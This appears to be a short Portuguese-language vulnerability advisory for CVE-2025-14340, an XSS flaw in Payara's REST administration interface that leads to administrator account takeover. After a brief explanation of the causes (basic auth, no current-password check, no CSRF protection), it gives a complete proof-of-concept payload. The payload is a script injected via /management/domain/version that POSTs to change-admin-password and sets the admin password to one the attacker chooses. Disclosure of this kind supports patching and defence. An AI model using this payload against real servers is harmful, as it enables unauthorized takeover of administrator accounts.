XSS para tomada de conta de administrador (CVE-2025-14340)

Uma vulnerabilidade de Cross-Site Scripting na Interface REST de Administração do Payara permite a execução de JavaScript controlado pelo atacante, levando à tomada de conta de administrador. Isso ocorre porque:

1. O painel usa autenticação básica HTTP (as credenciais são enviadas automaticamente pelo navegador para requisições de mesma origem).
2. O endpoint change-admin-password não exige a senha atual para atualizar a senha de um usuário.
3. O formulário change-admin-password não possui proteção contra CSRF.
4. Um script injetado usando o XSS em /management/domain/version pode fazer POST para /management/domain/change-admin-password e definir uma senha escolhida pelo atacante para qualquer conta-alvo — resultando na tomada da conta de administrador.

Prova de Conceito

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

Aviso legal

APENAS PARA USO AUTORIZADO. A DeepSecurity Perú não endossa o acesso não autorizado e não se responsabiliza por qualquer uso indevido das informações fornecidas.